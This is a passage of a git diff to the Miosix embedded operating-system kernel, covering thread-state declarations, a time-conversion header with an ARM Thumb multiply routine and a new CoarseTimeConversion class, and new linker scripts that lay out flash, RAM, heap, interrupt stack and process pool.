deleted, but its resources cannot + * be reclaimed because it has not yet been joined + */ + bool isZombie() const { return flags & DELETED; } + + /** + * \return true if the deleting flag is set + */ + bool isDeleting() const { return flags & DELETING; } + + /** + * \return true if the thread is in the ready status + */ + bool isReady() const { return (flags & 0x27)==0; } + + /** + * \return true if the thread is detached + */ + bool isDetached() const { return flags & DETACHED; } + + /** + * \return true if the thread is waiting a join + */ + bool isWaitingJoin() const { return flags & WAIT_JOIN; } + + /** + * \return true if the thread is running unprivileged inside a process. + */ + bool isInUserspace() const { return flags & USERSPACE; } + + //Unwanted methods + ThreadFlags(const ThreadFlags& p) = delete; + ThreadFlags& operator = (const ThreadFlags& p) = delete; + + private: + ///\internal Thread is in the wait status. A call to wakeup will change + ///this + static const unsigned int WAIT=1<<0; + + ///\internal Thread is sleeping. + static const unsigned int SLEEP=1<<1; + + ///\internal Thread is deleted. It will continue to exist until the + ///idle thread deallocates its resources + static const unsigned int DELETED=1<<2; + + ///\internal Somebody outside the thread asked this thread to delete + ///itself.
This will make Thread::testTerminate() return true. + static const unsigned int DELETING=1<<3; + + ///\internal Thread is detached + static const unsigned int DETACHED=1<<4; + + ///\internal Thread is waiting for a join + static const unsigned int WAIT_JOIN=1<<5; + + ///\internal Thread is running in userspace + static const unsigned int USERSPACE=1<<6; + + unsigned char flags;///<\internal flags are stored here + }; + + #ifdef WITH_PROCESSES + + /** + * \internal + * Causes a thread belonging to a process to switch to userspace, and + * execute userspace code. This function returns when the process performs + * a syscall or faults. + * \return the syscall parameters used to serve the system call. + */ + static SyscallParameters switchToUserspace(); + + /** + * Create a thread to be used inside a process. The thread is created in + * WAIT status, a wakeup() on it is required to actually start it. + * \param startfunc entry point + * \param proc process to which this thread belongs + */ + static Thread *createUserspace(void *(*startfunc)(void *), Process *proc); + + /** + * Setup the userspace context of the thread, so that it can be later + * switched to userspace. Must be called only once for each thread instance + * \param entry userspace entry point + * \param argc number of arguments + * \param argvSp pointer to arguments array. Since the args block is stored + * above the stack and this is the pointer into the first byte of the args + * block, this pointer doubles as the initial stack pointer when the process + * is started. + * \param envp pointer to environment variables + * \param gotBase base address of the GOT, also corresponding to the start + * of the RAM image of the process + * \param stackSize size of the userspace stack, used for bound checking + */ + static void setupUserspaceContext(unsigned int entry, int argc, void *argvSp, + void *envp, unsigned int *gotBase, unsigned int stackSize); + + #endif //WITH_PROCESSES + + /** + * Constructor, initializes thread data. + * \param watermark pointer to watermark area + * \param stacksize thread's stack size + * \param defaultReent true if the global reentrancy structure is to be used + */ + Thread(unsigned int *watermark, unsigned int stacksize, bool defaultReent); + + /** + * Destructor + */ + ~Thread(); + + /** + * Helper function to initialize a Thread + * \param startfunc entry point function + * \param stacksize stack size for the thread + * \param argv argument passed to the thread entry point + * \param options thread options + * \param defaultReent true if the default C reentrancy data should be used + * \return a pointer to a thread, or nullptr in case there are not enough + * resources to create one. + */ + static Thread *doCreate(void *(*startfunc)(void *), unsigned int stacksize, + void *argv, Options options, bool defaultReent); + + /** + * Thread launcher, all threads start from this member function, which calls + * the user specified entry point. When the entry point function returns, + * it marks the thread as deleted so that the idle thread can dellocate it. + * If exception handling is enebled, this member function also catches any + * exception that propagates through the entry point. + * \param threadfunc pointer to the entry point function + * \param argv argument passed to the entry point + */ + static void threadLauncher(void *(*threadfunc)(void*), void *argv); + + /** + * Common implementation of all PKglobalIrqUnlockAndWait calls + */ + static void PKrestartKernelAndWaitImpl(); + + /** + * Common implementation of all IRQglobalIrqUnlockAndWait calls + */ + static void IRQglobalIrqUnlockAndWaitImpl(); + + /** + * Common implementation of all PK timedWait calls + */ + static TimedWaitResult PKrestartKernelAndTimedWaitImpl(long long absoluteTimeNs); + + /** + * Common implementation of all IRQ timedWait calls + */ + static TimedWaitResult IRQglobalIrqUnlockAndTimedWaitImpl(long long absoluteTimeNs); + + /** + * To be called when a new thread transitions to the ready state to check + * whether its priority is higher than the one of the thread currently + * running on at least one core, in whcih case a rescheduling should be + * triggered. + * + * This function causes a reschedule if a core other than excludedCoreId is + * found to be running a thread with a lower priority than wokenPrio. + * If the core whose id is excludedCoreId is found to be running a thread + * with a lower priority than wokenPrio, then no reschedule is caused and + * this function returs true. + * For cases where any core is eligible for rescheduling, you still need to + * pass getCurrentCoreId() as template parameter and if the function returns + * true, call IRQinvokeScheduler(), like this + * \code + * if(IRQconsiderRescheduling(wokenPrio,getCurrentCoreId())) + * IRQinvokeScheduler(); + * \endcode + * + * \tparam b heuristic load balancing policy, to select whether the list of + * cores should be scanned staring from the first or last core + * \param t thread that just became ready, used to decide if a reschedule + * is necessary + * \param excludedCoreId this variable should be set to the current core id, + * either by calling getCurrentCoreId() or by some other mean if the code + * has some other way to detect the core it is running from. + * \return true if a reschedule would be required but on the excluded core. + * In all other cases returns false + */ + template + static inline bool IRQconsiderRescheduling(Thread *t, unsigned char excludedCoreId); + + /** + * Allocates the idle thread and makes cur point to it + * Can only be called before the kernel is started, is called exactly once + * so that getCurrentThread() always returns a pointer to a valid thread or + * by IRQstartKernel to create the idle thread, whichever comes first. + * \return the newly allocated idle thread + */ + static Thread *IRQallocateIdleThread(); + + /** + * \return the C reentrancy structure of the currently running thread + */ + static struct _reent *getCReent(); + + //Thread data + SchedulerData schedData; ///< Scheduler data, only used by class Scheduler + #if defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + CpuSet affinity; ///< Core affinity of this thread + #endif //defined(WITH_THREAD_AFFINITY) && defined(WITH_SMP) + ThreadFlags flags;///< thread status + ///Saved priority. + ///When mutexLocked!=nullptr it stores the value of priority that this + ///thread will have when it unlocks all mutexes. This is because when a + ///thread locks a mutex its priority can change due to priority inheritance. + ///When not locking any Mutex,may need to be kept equal to the actual + ///priority, see ConditionVariable. + Priority savedPriority; + ///List of mutexes locked by this thread + Mutex *mutexLocked; + ///If the thread is waiting on a Mutex, mutexWaiting points to that Mutex + Mutex *mutexWaiting; + ///If the thread is waiting on a WaitQueue, entry in the wait list + WaitToken waitQueueItem; + unsigned int *watermark;///< pointer to watermark area + unsigned int ctxsave[CTXSAVE_SIZE];///< Holds cpu registers during ctxswitch + unsigned int stacksize;///< Contains stack size + ///This union is used to join threads. When the thread to join has not yet + ///terminated and no other thread called join it contains (Thread *)nullptr, + ///when a thread calls join on this thread it contains the thread waiting + ///for the join, and when the thread terminated it contains (void *)result + union + { + Thread *waitingForJoin;/// friend class WaitQueue; + //Needs access to flags, schedData + friend class PriorityScheduler; + //Needs access to flags, schedData + friend class ControlScheduler; + //Needs access to flags, schedData + friend class EDFScheduler; + //Needs access to cppReent + friend class CppReentrancyAccessor; + #ifdef WITH_PROCESSES + //Needs createUserspace(), setupUserspaceContext(), switchToUserspace() + friend class Process; + #endif //WITH_PROCESSES + #ifdef WITH_CPU_TIME_COUNTER + //Needs access to timeCounterData + friend class CPUTimeCounter; + #endif //WITH_CPU_TIME_COUNTER +}; + +/** + * \internal + * This class is used to make a list of sleeping threads. + * It is used by the kernel, and should not be used by end users. + */ +class SleepToken : public IntrusiveListItem +{ +public: + SleepToken(Thread *thread, long long wakeupTime) + : thread(thread), wakeupTime(wakeupTime) {} + + ///\internal Thread that is sleeping + Thread *thread; + + ///\internal When this number becomes equal to the kernel tick, + ///the thread will wake + long long wakeupTime; +}; + +/** + * \internal + * Functor needed by TimeSortedQueue to insert the thread in the correct + * place in the sleepingList based on its deadline + */ +struct GetWakeupTime +{ + long long operator()(SleepToken *item) { return item->wakeupTime; } +}; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/kernel/timeconversion.cpp b/miosix/kernel/timeconversion.cpp index 82ac6c1de..1fb5e7227 100644 --- a/miosix/kernel/timeconversion.cpp +++ b/miosix/kernel/timeconversion.cpp @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2015, 2016 by Terraneo Federico * + * Copyright (C) 2015-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -35,13 +35,15 @@ #include #include -static bool print=true; -#define P(x) if(print) std::cout<<#x<<'='<::max()/toNs; //Care about rounding while(tc.tick2ns(maxTick)<0) maxTick--; - print=false; + printEnabled=false; srand(0); //Fully random test @@ -523,7 +525,7 @@ void testns2tick(TimeConversion& tc, int iterations) assert(uabs(tc.ns2tick(tc.tick2ns(b))-b)<2); } - print=true; + printEnabled=true; } int main() diff --git a/miosix/kernel/timeconversion.h b/miosix/kernel/timeconversion.h index 97e602aa1..d05dc6886 100644 --- a/miosix/kernel/timeconversion.h +++ b/miosix/kernel/timeconversion.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2015, 2016 by Terraneo Federico * + * Copyright (C) 2015-2025 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -25,8 +25,9 @@ * along with this program; if not, see * ***************************************************************************/ -#ifndef TIMECONVERSION_H -#define TIMECONVERSION_H +#pragma once + +#include namespace miosix { @@ -37,51 +38,58 @@ namespace miosix { */ inline unsigned long long mul32x32to64(unsigned int a, unsigned int b) { -#if defined(__thumb__) && !defined(__thumb2__) -#ifdef NO_ASM - //Optimized version for CPUs without native 32x32=64 multiplication. - //Just casting to long long uses __aeabi_lmul which is a full 64x64=64 bit - //multiplication. - unsigned int t0=(a&0xFFFF)*(b&0xFFFF); - unsigned int t1=(a>>16)*(b>>16); - unsigned long long res=t0|(static_cast(t1)<<32); - res+=static_cast((a>>16)*(b&0xFFFF))<<16; - res+=static_cast((a&0xFFFF)*(b>>16))<<16; - return res; -#else - //Optimized assembly version for ARM CPUs supporting only Thumb mode. - //On a Cortex-M0+ takes about 19 to 21 cycles, depending if it's inlined - //or not. - unsigned int t0=a, t1=b, t2, t3, t4; - asm( - ".syntax unified\n" - "lsls %3, %0, #16\n" - "lsrs %3, %3, #16\n" // t3 = a & 0xFFFF - "lsls %4, %1, #16\n" - "lsrs %4, %4, #16\n" // t4 = b & 0xFFFF - "movs %2, %3\n" - "muls %2, %4\n" // t2 = t3 * t4 = (a & 0xFFFF) * (b & 0xFFFF) - "lsrs %0, %0, #16\n" // t0 = a >> 16 - "muls %4, %0\n" // t4 = t4 * t0 = (a >> 16) * (b & 0xFFFF) - "lsrs %1, %1, #16\n" // t1 = b >> 16 - "muls %3, %1\n" // t3 = t3 * t1 = (a & 0xFFFF) * (b >> 16) - "muls %1, %0\n" // t1 = t1 * t0 = (a >> 16) * (b >> 16) - "lsls %0, %4, #16\n" // t0 = lo(((a >> 16) * (b & 0xFFFF)) << 16) - "lsrs %4, %4, #16\n" // t4 = hi(((a >> 16) * (b & 0xFFFF)) << 16) - "adds %0, %2\n" - "adcs %1, %4\n" // t1,t0 += t4,t2 - "lsls %2, %3, #16\n" - "lsrs %3, %3, #16\n" // t3,t2 = ((a & 0xFFFF) * (b >> 16)) << 16 - "adds %0, %2\n" - "adcs %1, %3\n" // t1,t0 += t3,t2 - :"+l"(t0),"+l"(t1),"=l"(t2),"=l"(t3),"=l"(t4)::); - return static_cast(t0)|(static_cast(t1)<<32); -#endif -#else + #if defined(__GNUC__) && defined(__thumb__) && !defined(__thumb2__) + //ARM thumb-1 CPUs lack a 32x32 multiplication with 64 bit result, so + //provide an optimized implementation, but only do so if the function + //is not called with constants, since in that case we want the compiler to + //perform constant folding + if(!(__builtin_constant_p(a) && __builtin_constant_p(b))) + { + #ifdef NO_ASM + //Optimized version for CPUs without native 32x32=64 multiplication. + //Just casting to long long uses __aeabi_lmul which is a full 64x64=64 bit + //multiplication. + unsigned int t0=(a&0xFFFF)*(b&0xFFFF); + unsigned int t1=(a>>16)*(b>>16); + unsigned long long res=t0|(static_cast(t1)<<32); + res+=static_cast((a>>16)*(b&0xFFFF))<<16; + res+=static_cast((a&0xFFFF)*(b>>16))<<16; + return res; + #else + //Optimized assembly version for ARM CPUs supporting only Thumb mode. + //On a Cortex-M0+ takes about 19 to 21 cycles, depending if it's inlined + //or not. + unsigned int t0=a, t1=b, t2, t3, t4; + asm( + ".syntax unified\n" + "lsls %3, %0, #16\n" + "lsrs %3, %3, #16\n" // t3 = a & 0xFFFF + "lsls %4, %1, #16\n" + "lsrs %4, %4, #16\n" // t4 = b & 0xFFFF + "movs %2, %3\n" + "muls %2, %4\n" // t2 = t3 * t4 = (a & 0xFFFF) * (b & 0xFFFF) + "lsrs %0, %0, #16\n" // t0 = a >> 16 + "muls %4, %0\n" // t4 = t4 * t0 = (a >> 16) * (b & 0xFFFF) + "lsrs %1, %1, #16\n" // t1 = b >> 16 + "muls %3, %1\n" // t3 = t3 * t1 = (a & 0xFFFF) * (b >> 16) + "muls %1, %0\n" // t1 = t1 * t0 = (a >> 16) * (b >> 16) + "lsls %0, %4, #16\n" // t0 = lo(((a >> 16) * (b & 0xFFFF)) << 16) + "lsrs %4, %4, #16\n" // t4 = hi(((a >> 16) * (b & 0xFFFF)) << 16) + "adds %0, %2\n" + "adcs %1, %4\n" // t1,t0 += t4,t2 + "lsls %2, %3, #16\n" + "lsrs %3, %3, #16\n" // t3,t2 = ((a & 0xFFFF) * (b >> 16)) << 16 + "adds %0, %2\n" + "adcs %1, %3\n" // t1,t0 += t3,t2 + :"+l"(t0),"+l"(t1),"=l"(t2),"=l"(t3),"=l"(t4)::); + return static_cast(t0) + | (static_cast(t1)<<32); + #endif + } + #endif //Casts are to produce a 64 bit result. Compiles to a single asm instruction //in processors having 32x32 multiplication with 64 bit result return static_cast(a)*static_cast(b); -#endif } /** @@ -262,6 +270,92 @@ class TimeConversion long long adjustOffsetNs; }; -} //namespace miosix +/** + * Instances of this class can be used by timer drivers to convert from ticks + * in the timer resolution to nanoseconds and back. + * Unlike class TimeConversion, this class is limited to convert 32 bit time + * durations and provides less accuracy guarantees compared to TimeConversion + * which can convert 64 bit absolute time points with ppm-level accuracy. + * + * The maximum valude that can be converted without overflow is about 4 seconds, + * which is acceptable for the purpose of measuring scheduler time slices. + * This class is indeed only meant to be used to convert thread time slices for + * preemption purposes. + */ +class CoarseTimeConversion +{ +public: + /** + * Default constructor. Leaves the factors unintialized. + */ + CoarseTimeConversion() {} + + /** + * Constructor + * Set the conversion factors based on the tick frequency. + * \param hz tick frequency in Hz + */ + CoarseTimeConversion(unsigned int hz) noexcept + : toTick(std::min(0xffffffffll,0x100000000ll*hz/1000000000)) {} + + /** + * \param tick time interval in timer ticks + * \return the equivalent time intterval in nanoseconds + */ + // inline unsigned int tick2ns(unsigned int tick) const + // { + // return tick*factor; //TODO implement for control scheduler + // } + + /** + * \param ns time interval in nanoseconds + * \return the equivalent time interval in ticks + */ + inline unsigned int ns2tick(unsigned int ns) const + { + return mul32x32to64(ns,toTick)>>32; + } -#endif //TIMECONVERSION_H + /** + * This function provides an alternative to creating instances of the + * CoarseTimeConversion, performing the entire time conversion algorithm + * in a single function taking both the nanosecond value to convert and the + * timer tick frequency. + * + * It makes sense to use this function only if the timer tick frequency is + * a constant, as in this case the compiler can perform constant folding + * and perform the first part of the computation at compile-time. + * If additionally, also the nanosecond value is a constant (this happens + * with the priority scheduler), then the entire content of the function + * can be performed at compile-time. + * + * For use cases where the timer tick-requency is not a constant, it is + * better to use create isntances of the CoarseTimeConversion and call + * the non-static version of this member function, since this way the + * toTick computation is not done every time this function is called. + * + * \param ns time interval in nanoseconds + * \param hz tick frequency in Hz + * \return the equivalent time interval in ticks + */ + static inline unsigned int ns2tick(unsigned int ns, unsigned int hz) + { + const unsigned int toTick=std::min(0xffffffffll,0x100000000ll*hz/1000000000); + return mul32x32to64(ns,toTick)>>32; + } + + /** + * \param tick time interval in timer ticks + * \param hz tick frequency in Hz + * \return the equivalent time intterval in nanoseconds + */ + // static inline unsigned int tick2ns(unsigned int tick, unsigned int hz) const + // { + // return //TODO implement for control scheduler + // } + +private: + unsigned int toTick; ///< Fixed point 0.32 +}; + +} //namespace miosix diff --git a/miosix/ldscripts/miosix-all-in-xram.ld b/miosix/ldscripts/miosix-all-in-xram.ld new file mode 100644 index 000000000..a432a67dd --- /dev/null +++ b/miosix/ldscripts/miosix-all-in-xram.ld @@ -0,0 +1,194 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the case where the chip provides one contiguous + * block of volatile read/write memory that is used for everything. + * A bootloader is needed to load the code in this RAM. + * + * In summary, the assignment of sections to memory regions is as follows: + * ram .text + * .data + * .bss + * .heap + * .irq_stack + * .process_pool + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > ram + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > ram + __exidx_end = .; + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram + _bss_end = .; + + /* + * _end is both the end of the statically allocated RAM block (end of .bss) + * and the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = . + LENGTH(ram) - (_end - ORIGIN(ram)) - _irq_stack_size - _process_pool_size; + _heap_end = .; + } > ram + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). + */ + .irq_stack (NOLOAD) : + { + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram +} diff --git a/miosix/ldscripts/miosix-flash-2ram-separate-data-bss.ld b/miosix/ldscripts/miosix-flash-2ram-separate-data-bss.ld new file mode 100644 index 000000000..401799992 --- /dev/null +++ b/miosix/ldscripts/miosix-flash-2ram-separate-data-bss.ld @@ -0,0 +1,229 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the case where the chip provides three memory + * regions: + * - One contiguous block of nonvolatile memory that is read-only during code + * execution, most commonly a FLASH memory, called "flash" in the memory map + * - A first contiguous block of volatile read/write memory, most commonly + * SRAM that is called "ram1" in the memory map + * - A second contiguous block of volatile read/write memory, most commonly + * SRAM, but also an off-chip SRAM or DRAM that is called "ram2" in the memory + * map + * + * Since there are two noncontiguous blocks of RAM, they cannot be treated as + * one, and the kernel must somehow find a use for those. + * This linker script chooses to place global variables (.data / .bss) in the + * first RAM (ram1), and the interrupt stack plus the heap in the second RAM + * (ram2). + * This linker script should only be used in the uncommon case where the + * interrupt stack cannot be placed in ram1, otherwise you should use + * miosix-flash-2ram-separate-heap.ld + * + * Note that when running Miosix with this linker script some part of ram1 tend + * to be wasted unless user code allocates just enough global variables to fill + * ram1, or conversely it is possible to exceed the capacity of ram1 by + * allocating too many global variables, while still having available RAM in + * ram2, which can usually be solved by modifying application code to move + * some of these global variables on the heap. This is an unfortunate effect + * of the architectural contraint of having two noncontiguous RAM memory blocks + * being forced upon us by hardware designers. + * + * In summary, the assignment of sections to memory regions is as follows: + * flash .text + * ram1 .data + * .bss + * ram2 .irq_stack + * .heap + * .process_pool + */ + +/* Default values for tunable variables */ +PROVIDE(_irq_stack_size = 512); +PROVIDE(_process_pool_size = 0); +PROVIDE(_xram_start = 0); /* Used for memory protection and cacheability */ +PROVIDE(_xram_size = 0); /* Used for memory protection and cacheability */ + +/* Sanity checks */ +ASSERT(_irq_stack_size % 8 == 0, "IRQ stack size error"); +ASSERT(_process_pool_size % 1024 == 0, "Process pool size error"); + +ENTRY(_ZN6miosix13Reset_HandlerEv) + +SECTIONS +{ + . = 0; + + .text : + { + /* Interrupt vectors must be placed at the start of flash */ + KEEP(*(.isr_vector)) + + *(.text) + *(.text.*) + *(.gnu.linkonce.t.*) + /* these sections for thumb interwork? */ + *(.glue_7) + *(.glue_7t) + /* these sections for C++ */ + *(.gcc_except_table) + *(.gcc_except_table.*) + *(.ARM.extab*) + *(.gnu.linkonce.armextab.*) + + . = ALIGN(4); + /* .rodata: constant data */ + *(.rodata) + *(.rodata.*) + *(.gnu.linkonce.r.*) + + /* C++ Static constructors/destructors (eabi) */ + . = ALIGN(4); + KEEP(*(.init)) + + . = ALIGN(4); + __miosix_init_array_start = .; + KEEP (*(SORT(.miosix_init_array.*))) + KEEP (*(.miosix_init_array)) + __miosix_init_array_end = .; + + . = ALIGN(4); + __preinit_array_start = .; + KEEP (*(.preinit_array)) + __preinit_array_end = .; + + . = ALIGN(4); + __init_array_start = .; + KEEP (*(SORT(.init_array.*))) + KEEP (*(.init_array)) + __init_array_end = .; + + . = ALIGN(4); + KEEP(*(.fini)) + + . = ALIGN(4); + __fini_array_start = .; + KEEP (*(.fini_array)) + KEEP (*(SORT(.fini_array.*))) + __fini_array_end = .; + + /* C++ Static constructors/destructors (elf) */ + . = ALIGN(4); + _ctor_start = .; + KEEP (*crtbegin.o(.ctors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*crtend.o(.ctors)) + _ctor_end = .; + + . = ALIGN(4); + KEEP (*crtbegin.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*crtend.o(.dtors)) + } > flash + + /* .ARM.exidx is sorted, so has to go in its own output section. */ + __exidx_start = .; + .ARM.exidx : + { + *(.ARM.exidx* .gnu.linkonce.armexidx.*) + } > flash + __exidx_end = .; + + .data : ALIGN(8) + { + _data = .; + *(.data) + *(.data.*) + *(.gnu.linkonce.d.*) + . = ALIGN(8); + _edata = .; + } > ram1 AT > flash + _etext = LOADADDR(.data); + + _bss_start = .; + .bss (NOLOAD) : + { + *(.bss) + *(.bss.*) + *(.gnu.linkonce.b.*) + . = ALIGN(8); + } > ram1 + _bss_end = .; + + /* + * The irq stack is used for interrupt handling by the kernel. ARM Cortex + * cores call it the "main" stack, but the name is confusing as it's *not* + * the stack used for main(). This linker script places it at the bottom of + * the ram, instead of the top. This is done for two reasons: + * - as an optimization for microcontrollers with little ram memory. + * The implementation of malloc from newlib requests memory to the OS in + * blocks which can vary from 1KB to 4KB. Using the top of the RAM for the + * irq stack, whose size is usually less than one malloc block means + * the difference between the block size and the stack size is wasted RAM + * that malloc can't use. + * - Many microcontrollers produce a fault if the CPU accesses memory below + * the RAM start address. By placing the interrupt stack at the beginning + * of the RAM we take advantage of this behavior to produce a fault on + * interrupt stack overflow. Placing the stack at the top would instead + * cause the stack to silently collide with the heap. + */ + .irq_stack (NOLOAD) : + { + _irq_stack_bottom = .; + . = . + _irq_stack_size; + _irq_stack_top = .; + } > ram2 + + /* + * _end is the start of the heap, while _heap_end is the end of the heap. + * Just like .data and .bss above, this heap is used by the kernel and + * kernelspace applications. + */ + .heap (NOLOAD) : + { + _end = .; + . = . + LENGTH(ram2) - _irq_stack_size - _process_pool_size; + _heap_end = .; + } > ram2 + + /* + * The process pool is the memory area reserved for running processes. + * It uses a separate allocator and MPU regions are used to enforce memory + * protection, when architectural support for it is present. + * Linker scripts which do not override _process_pool_size get a zero-sized + * process pool and are incapable of running processes. + */ + .process_pool (NOLOAD) : + { + _process_pool_start = .; + . = . + _process_pool_size; + _process_pool_end = .; + } > ram2 +} diff --git a/miosix/ldscripts/miosix-flash-2ram-separate-heap.ld b/miosix/ldscripts/miosix-flash-2ram-separate-heap.ld new file mode 100644 index 000000000..606d64e77 --- /dev/null +++ b/miosix/ldscripts/miosix-flash-2ram-separate-heap.ld @@ -0,0 +1,243 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * This linker script supports the case where the chip provides three memory + * regions: + * - One contiguous block of nonvolatile memory that is read-only during code + * execution, most commonly a FLASH memory, called "flash" in the memory map + * - A first contiguous block of volatile read/write memory, most commonly + * SRAM that is called "ram1" in the memory map + * - A second contiguous block of volatile read/write memory, most commonly + * SRAM, but also an off-chip SRAM or DRAM that is called "ram2" in the memory + * map + * + * Since there are two noncontiguous blocks of RAM, they cannot be treated as + * one, and the kernel must somehow find a use for those. + * This linker script chooses to place interrupt stack and global variables + * (.data / .bss) in the first RAM (ram1), and the heap in the second RAM + * (ram2). This linker script also allows to use a portion of ram2 for the + * process pool for running processes, but in chips providing two RAM blocks + * it is usually more convenient to allocate the entire ram2 block for the + * process pool, and for that you need the miosix-flash-2ram-separate-pool.ld + * linker script instead of this one. + * However, in the uncommon case where the kernelspace application require more + * mmemory than the available ram1, this linker script can be used. + * + * It is expected that the chip-specific linker script that defines the memory + * map will choose the smallest RAM block for ram1 and the largest one for ram2 + * as in Miosix heap usage is usually larger than global variables. Note that + * the kernel uses the heap also to allocate the stack of threads (including + * the stack of main()). + * It is also expected that if there are differences in speed between the two + * RAM blocks (such as one being an internal RAM and the other being an external + * one), the fastest be mapped to ram1, as it is used for the stack for + * interrupts. + * + * Note that when running Miosix with this linker script some part of ram1 tend + * to be 